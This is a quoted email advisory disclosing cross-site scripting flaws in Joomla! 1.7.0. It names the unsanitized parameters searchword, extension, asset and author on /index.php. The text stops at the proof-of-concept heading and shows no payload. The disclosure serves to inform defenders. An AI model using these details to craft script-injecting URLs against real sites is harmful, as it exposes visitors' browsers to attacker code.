----- Original Message -----
> Joomla! 1.7.0 | Multiple Cross Site Scripting (XSS) Vulnerabilities
>
>
>
> 1. OVERVIEW
>
> Joomla! 1.7.0 (stable version) is vulnerable to multiple Cross Site
> Scripting issues.
>
>
> 2. BACKGROUND
>
> Joomla is a free and open source content management system (CMS) for
> publishing content on the World Wide Web and intranets. It comprises
> a
> model–view–controller (MVC) Web application framework that can also
> be
> used independently.
> Joomla is written in PHP, uses object-oriented programming (OOP)
> techniques and software design patterns, stores data in a MySQL
> database, and includes features such as page caching, RSS feeds,
> printable versions of pages, news flashes, blogs, polls, search, and
> support for language internationalization.
>
>
> 3. VULNERABILITY DESCRIPTION
>
> Several parameters (searchword, extension, asset, author ) in Joomla!
> Core components are not properly sanitized upon submission to the
> /index.php url, which allows attacker to conduct Cross Site Scripting
> attack. This may allow an attacker to create a specially crafted URL
> that would execute arbitrary script code in a victim's browser.
>
>
> 4. VERSION AFFECTED
>
> 1.7.0 <=
>
>
> 5. PROOF-OF-CONCEPT/EXPLOIT
